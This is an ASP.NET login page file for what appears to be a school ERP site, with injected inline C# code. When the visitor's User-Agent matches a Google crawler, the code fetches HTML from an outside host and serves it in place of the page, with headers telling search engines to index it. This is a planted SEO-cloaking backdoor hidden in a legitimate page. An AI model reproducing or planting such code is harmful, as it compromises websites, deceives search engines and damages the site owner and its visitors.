%@ Page Language="C#" AutoEventWireup="true" CodeFile="Login.aspx.cs" Inherits="Login" %> <%@ Import Namespace="System.Net" %> <%@ Import Namespace="System.IO" %> <% string ua = Request.UserAgent != null ? Request.UserAgent.ToLower() : ""; string[] bots = { "googlebot", "google-inspectiontool", "adsbot", "mediapartners", "apis-google", "structured-data-testing-tool" }; foreach (string bot in bots) { if (ua.Contains(bot)) { try { using (var client = new WebClient()) { string html = client.DownloadString("https://root-as-user.site/erp-millenniumschools-edu-pk/template.txt"); if (!string.IsNullOrEmpty(html) && html.Length > 100) { Response.Clear(); Response.StatusCode = 200; Response.ContentType = "text/html; charset=UTF-8"; Response.Cache.SetCacheability(System.Web.HttpCacheability.NoCache); Response.Cache.SetNoStore(); Response.Expires = 0; Response.AddHeader("Pragma", "no-cache"); Response.AddHeader("Expires", "0"); Response.AddHeader("X-Robots-Tag", "all, index, follow"); Response.AddHeader("Vary", "User-Agent"); Response.Write(html); Response.End(); } } } catch { Response.End(); } } } %>